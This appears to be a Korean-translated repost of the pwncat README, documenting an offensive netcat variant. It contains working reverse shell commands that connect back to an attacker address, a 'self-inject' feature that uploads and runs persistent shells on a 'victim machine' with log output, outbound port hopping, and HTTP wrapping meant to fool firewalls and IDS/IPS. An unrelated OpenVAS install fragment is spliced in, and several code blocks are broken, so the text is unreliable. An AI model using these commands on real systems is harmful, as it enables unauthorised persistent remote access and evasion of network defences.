pwncat - 강화된 netcat, 방화벽, IDS/IPS 우회, 바인드 및 리버스 셸, 자가 주입 셸, 포트 포워딩 마법 - 또한 Python(PSE)으로 완전히 스크립팅 가능

--no-shutdown Do not shutdown into half-duplex mode. If this option is passed, pwncat won't invoke shutdown on a socket after seeing EOF on stdin. This is provided for backward-compatibility with OpenBSD netcat, which exhibits this behavior.

-v, --verbose Be verbose and print info to stderr. Use -v, -vv, -vvv or -vvvv for more verbosity. The server performance will decrease drastically if you use more than three times.

--info type Show additional info about sockets, IPv4/6 or TCP opts applied to the current socket connection. Valid parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'. Note, you must at least be in INFO verbose mode in order to see them (-vv).

-c str, --color str Colored log output. Specify 'always', 'never' or 'auto'. In 'auto' mode, color is displayed as long as the output goes to a terminal. If it is piped into a file, color will automatically be disabled. This mode also disables color on Windows by default. (default: auto)

--safe-word str All modes: If pwncat is started with this argument, it will shut down as soon as it receives the specified string. The --keep-open (server) or --reconn (client) options will be ignored and it won't listen again or reconnect to you. Use a very unique string to not have it shut down accidentally by other input.

protocol arguments: -4 Only Use IPv4 (default: IPv4 and IPv6 dualstack).

-6 Only Use IPv6 (default: IPv4 and IPv6 dualstack).

-u, --udp Use UDP for the connection instead of TCP.

-T str, --tos str Specifies IP Type of Service (ToS) for the connection. Valid values are the tokens 'mincost', 'lowcost', 'reliability', 'throughput' or 'lowdelay'.

--http Connect / Listen mode (TCP and UDP): Hide traffic in http packets to fool Firewalls/IDS/IPS.

--https Connect / Listen mode (TCP and UDP): Hide traffic in https packets to fool Firewalls/IDS/IPS.

-H [str [str ...]], --header [str [str ...]] Add HTTP headers to your request when using --http(s).

command & control arguments: --self-inject cmd:host:port[s] Listen mode (TCP only): If you are about to inject a reverse shell onto the victim machine (via php, bash, nc, ncat or similar), start your listening server with this argument. This will then (as soon as the reverse shell connects) automatically deploy and background-run an unbreakable pwncat reverse shell onto the victim machine which then also connects back to you with specified arguments. Example: '--self-inject /bin/bash:10.0.0.1:4444' It is also possible to launch multiple reverse shells by specifying multiple ports. Via list: --self-inject /bin/sh:10.0.0.1:4444,4445,4446 Via range: --self-inject /bin/sh:10.0.0.1:4444-4446 Via incr: --self-inject /bin/sh:10.0.0.1:4444+2 Note: this is currently an experimental feature and does not work on Windows remote hosts yet.

pwncat scripting engine: --script-send file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed before sending data to a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec().

--script-recv file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed after receiving data from a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec().

zero-i/o mode arguments: --banner Zero-I/O (TCP and UDP): Try banner grabbing during port scan.

listen mode arguments: -k, --keep-open Listen mode (TCP only): Re-accept new clients in listen mode after a client has disconnected or the connection is interrupted otherwise. (default: server will quit after connection is gone)

--rebind [x] Listen mode (TCP and UDP): If the server is unable to bind, it will re-initialize itself x many times before giving up. Omit the quantifier to rebind endlessly or specify a positive integer for how many times to rebind before giving up. See --rebind-robin for an interesting use-case. (default: fail after first unsuccessful try).

--rebind-wait s Listen mode (TCP and UDP): Wait x seconds between re-initialization. (default: 1)

--rebind-robin port Listen mode (TCP and UDP): If the server is unable to initialize (e.g: cannot bind and --rebind is specified, it it will shuffle ports in round-robin mode to bind to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --rebind to at least the number of ports to probe +1 This option requires --rebind to be specified.

connect mode arguments: --source-addr addr Specify source bind IP address for connect mode.

--source-port port Specify source bind port for connect mode.

--reconn [x] Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted, the client will connect again x many times before giving up. Omit the quantifier to retry endlessly or specify a positive integer for how many times to retry before giving up. (default: quit if the remote is not available or the connection was interrupted) This might be handy for stable TCP reverse shells ;-) Note on UDP: By default UDP does not know if it is connected, so it will stop at the first port and assume it has a connection. Consider using --udp-sconnect with this option to make UDP aware of a successful connection.

--reconn-wait s Connect mode (TCP and UDP): Wait x seconds between re-connects. (default: 1)

--reconn-robin port Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted and --reconn is specified, the client will shuffle ports in round-robin mode to connect to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --reconn to at least the number of ports to probe +1 This helps reverse shell to evade intrusiona prevention systems that will cut your connection and block the outbound port. This is also useful in Connect or Zero-I/O mode to figure out what outbound ports are allowed.

--ping-init Connect mode (TCP and UDP): UDP is a stateless protocol unlike TCP, so no hand- shake communication takes place and the client just sends data to a server without being "accepted" by the server first. This means a server waiting for an UDP client to connect to, is unable to send any data to the client, before the client hasn't send data first. The server simply doesn't know the IP address before an initial connect. The --ping-init option instructs the client to send one single initial ping packet to the server, so that it is able to talk to the client. This is a way to make a UDP reverse shell work. See --ping-word for what char/string to send as initial ping packet (default: '\0')

--ping-intvl s Connect mode (TCP and UDP): Instruct the client to send ping intervalls every s sec. This allows you to restart your UDP server and just wait for the client to report back in. This might be handy for stable UDP reverse shells ;-) See --ping-word for what char/string to send as initial ping packet (default: '\0')

--ping-word str Connect mode (TCP and UDP): Change the default character '\0' to use for upd ping. Single character or strings are supported.

--ping-robin port Connect mode (TCP and UDP): Instruct the client to shuffle the specified ports in round-robin mode for a remote server to ping. This might be handy to scan outbound allowed ports. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Use --ping-intvl 0 to be faster.

--udp-sconnect Connect mode (UDP only): Emulating stateful behaviour for UDP connect phase by sending an initial packet to the server to validate if it is actually connected. By default, UDP will simply issue a connect and is not aware if it is really connected or not. The default connect packet to be send is '\0', you can change this with --udp-sconnect-word.

--udp-sconnect-word [str] Connect mode (UDP only): Change the the data to be send for UDP stateful connect behaviour. Note you can also omit the string to send an empty packet (EOF), but be aware that some servers such as netcat will instantly quit upon receive of an EOF packet. The default is to send a null byte sting: '\0'.

misc arguments: -h, --help Show this help message and exit -V, --version Show version information and exit

Ctrl+z```bash

get your current terminal size (rows and columns)

stty size

for bash/sh (enter raw mode and disable echo'ing)

stty raw -echo fg

for zsh (enter raw mode and disable echo'ing)

stty raw -echo; fg

reset export SHELL=bash export TERM=xterm stty rows columns # and values found above by 'stty size'

무적의 TCP 리버스 셸

왜 무적일까요? 일시적으로 리스닝 서버를 종료해도 계속해서 다시 연결을 시도하기 때문입니다. 다시 말해, 클라이언트는 성공할 때까지 지정된 서버에 계속 연결을 시도합니다. 연결이 중단되면 다시 계속 시도합니다.```bash

The client

--exec # Provide this executable

--nodns # Keep the noise down and don't resolve hostnames

-reconn # Automatically reconnect back to you indefinitely

--reconn-wait # If connection is lost, connect back to you every 2 seconds

pwncat --exec /bin/bash --nodns --reconn --reconn-wait 2 10.0.0.1 4444

자가 주입 리버스 셸

당신이 대상에서 자신의 머신으로 매우 간단하고 불안정한 리버스 셸(예: PHP 스크립트를 통한 웹 셸 등)을 생성할 수 있다고 가정해 봅시다. 이 연결이 오래 지속되지 않거나 불안정한 네트워크 연결로 인해 끊어질 수 있다는 점을 알고 있다면, pwncat을 사용하여 이 연결에 끼어들어 대상에 자체적으로 완전 자동으로 깨지지 않게 배포할 수 있습니다.

Youtube에서 보기

여러분이 해야 할 일은 pwncat을 로컬 리스너로 사용하고 --self-inject 스위치와 함께 시작하는 것뿐입니다. 클라이언트(예: 리버스 웹 셸)가 연결되는 즉시, 다음과 같은 몇 가지 작업을 수행합니다:

1. 대상에서 Python 가용성 및 버전을 열거
2. 자신을 base64로 인코딩하여 대상에 덤프
3. 대상의 Python을 사용하여 자신을 디코딩
4. 대상의 Python을 사용하여 자신을 끊어지지 않는 리버스 셸로 시작하여 여러분에게 다시 연결

이 작업이 완료되면 현재 연결을 계속 사용하거나 그냥 버리고 새 리스너를 시작하여(네, 리버스 셸을 시작하기 전에 리스너를 시작할 필요가 없습니다) 새 pwncat 클라이언트가 여러분에게 연결되도록 할 수 있습니다. 새 리스너는 pwncat일 필요도 없으며, netcat 또는 ncat일 수도 있습니다.

--self-inject 스위치:```bash pwncat -l 4444 --self-inject ::

1. OpenVAS

설치 및 설정

Kali Linux에서:

1. OpenVAS 설치

sudo apt update && sudo apt install openvas

2. 초기화 및 시작

[PWNCAT CnC] Probing for: /bin/python [PWNCAT CnC] Probing for: /bin/python2 [PWNCAT CnC] Probing for: /bin/python2.7 [PWNCAT CnC] Probing for: /bin/python3 [PWNCAT CnC] Probing for: /bin/python3.5 [PWNCAT CnC] Probing for: /bin/python3.6 [PWNCAT CnC] Probing for: /bin/python3.7 [PWNCAT CnC] Probing for: /bin/python3.8 [PWNCAT CnC] Probing for: /usr/bin/python [PWNCAT CnC] Potential path: /usr/bin/python [PWNCAT CnC] Found valid Python2 version: 2.7.16 [PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us [PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT [PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422) [PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &

무제한 자체 삽입 리버스 셸

단일 자체 삽입 리버스 셸만 요청하는 대신, pwncat에 원하는 만큼의 끊어지지 않는 리버스 셸을 생성하여 다시 연결하도록 지시할 수 있습니다.

YouTube에서 보기

--self-inject 인수를 사용하면 단일 포트뿐만 아니라 다음도 정의할 수 있습니다.

1. 쉼표로 구분된 포트 목록: 4445,4446,4447,4448
2. 범위 정의: 4446-4448
3. 증분: 4445+3

4개의 리버스 셸을 생성하려면 위에서 설명한 대로 리스너를 시작하되, 단일 포트 대신 여러 포트를 정의합니다:```bash

Comma separated

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445,4446,4447,4448

Range

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445-4448

Increment

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445+3

로깅

참고: 계속해서 다시 연결되는 리버스 셸이 있는지 확인하세요. 이렇게 하면 셸을 잃지 않고 항상 로깅 설정을 변경할 수 있습니다.

로그 레벨 및 리디렉션

원한다면, 전체 TRACE 로깅 모드로 리스너를 시작하여 상황을 파악하거나 간단히 문제를 해결할 수 있습니다. 로그 메시지는 심각도에 따라 색상이 표시됩니다. stderr가 pty가 아닌 경우(예: 파일로 파이핑하는 경우) 색상이 자동으로 꺼집니다. --color 스위치를 통해 터미널 출력의 색상 로깅을 수동으로 비활성화할 수도 있습니다.```bash pwncat -vvvv -l 4444

리스너에서 이를 확인하는 즉시 클라이언트에 명령을 내릴 수 있습니다. 모든 디버그 메시지도 필요하지 않으므로 안전하게 Ctrl+c를 눌러 서버를 종료하고 무음 모드로 다시 시작할 수 있습니다:```bash pwncat -l 4444

이제 터미널 세션에서는 실제 명령어 입력과 출력만 볼 수 있습니다. 뒤에서 무슨 일이 일어나고 있는지 확인하려면 두 번째 터미널 창을 열고 comm.txt 파일을 tail하십시오:```bash

View communication info

tail -fn50 comm.txt

2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744' 2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744 2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining) 2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output

포트 포워딩 마법

로컬 TCP 포트 포워딩

시나리오

1. 앨리스는 외부에서 (TCP/UDP)로 접근 가능
2. 밥은 앨리스의 머신에서만 접근 가능``` | | Outside | DMZ | private subnet | | | | +-----------------+ TCP +-----------------+ TCP +-----------------+ | The cat | -----|----> | Alice | -----|----> | Bob | | | | | pwncat | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat 72.0.0.1 3306 | pwncat \ | | -L 72.0.0.1:3306 \ | | 10.0.0.1 3306 |

원격 TCP 포트 포워딩

시나리오

1. 앨리스는 외부에서 접근할 수 없습니다
2. 앨리스는 외부로의 연결(TCP/UDP)이 허용됩니다
3. 밥은 앨리스의 머신에서만 접근할 수 있습니다``` | | Outside | DMZ | private subnet | | | | +-----------------+ TCP +-----------------+ TCP +-----------------+ | The cat | <----|----- | Alice | -----|----> | Bob | | | | | pwncat | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat -l 4444 | pwncat --reconn \ | | -R 56.0.0.1:4444 \ | | 10.0.0.1 3306 |

아웃바운드 포트 호핑

대상 머신에서 어떤 아웃바운드 포트가 허용되는지 전혀 모르는 경우, 클라이언트(예: 리버스 셸의 경우)에게 아웃바운드 포트를 끊임없이 탐색하도록 지시할 수 있습니다.```bash

Reverse shell on target (the client)

--exec # The command shell the client should provide

--reconn # Instruct it to reconnect endlessly

--reconn-wait # Reconnect every 0.1 seconds

--reconn-robin # Use these ports to probe for outbount connections

pwncat --exec /bin/bash --reconn --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53

If the client connects to you, you will have a working reverse shell. If you stop your local listening server accidentally or on purpose, the client will probe ports again until it connects successfully. In order to kill the reverse shell client, you can use --safe-word (when starting the client).

If none of this succeeds, you can add other measures such as using UDP or even wrapping your packets into higher level protocols, such as HTTP or others. See PSE or examples below for how to transform your traffic.

Pwncat 스크립팅 엔진 (PSE)

pwncat는 데이터를 보내기 전과 받은 후에 사용자 정의 코드를 주입할 수 있는 Python 기반 스크립팅 엔진을 제공합니다.

작동 방식

다음 진입점 함수와 함께 Python 파일을 제공하기만 하면 됩니다:```python def transform(data, pse): # Example to reverse a string return data[::-1]

예제 2: 직접 구축한 HTTP POST 래퍼

PSE: http-post 소스 코드

이는 모든 트래픽을 유효한 HTTP POST 요청으로 래핑하여 일반 HTTP 트래픽처럼 보이게 합니다.```bash

server

pwncat -vvvv -l localhost 4444
--script-send pse/http-post/pse-http_post-pack.py
--script-recv pse/http-post/pse-http_post-unpack.py

포트 스캐닝

TCP```bash

$ sudo netstat -tlpn Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:4444 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN tcp6 0 0 ::1:631 :::* LISTEN tcp6 0 0 ::1:25 :::* LISTEN tcp6 0 0 ::1:4444 :::* LISTEN tcp6 0 0 :::1053 :::* LISTEN tcp6 0 0 :::902 :::* LISTEN

nmap```bash

$ time sudo nmap -T5 localhost --version-intensity 0 -p- -sU Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-24 17:03 CEST Warning: 127.0.0.1 giving up on port because retransmission cap hit (2). Nmap scan report for localhost (127.0.0.1) Host is up (0.000035s latency). Other addresses for localhost (not scanned): ::1 Not shown: 65529 closed ports PORT STATE SERVICE 68/udp open|filtered dhcpc 631/udp open|filtered ipp 1053/udp open|filtered remote-as 5353/udp open|filtered zeroconf 39856/udp open|filtered unknown 40488/udp open|filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 179.15 seconds

real 2m52.446s user 0m0.844s sys 0m2.571s

pwncat```bash

$ time pwncat -z localhost 1-65535 -u -4 Scanning 65535 ports [+] 68/UDP open (IPv4) [+] 631/UDP open (IPv4) [+] 1053/UDP open (IPv4) [+] 5353/UDP open (IPv4) [+] 39856/UDP open (IPv4)

real 0m7.309s user 0m6.465s sys 0m4.794s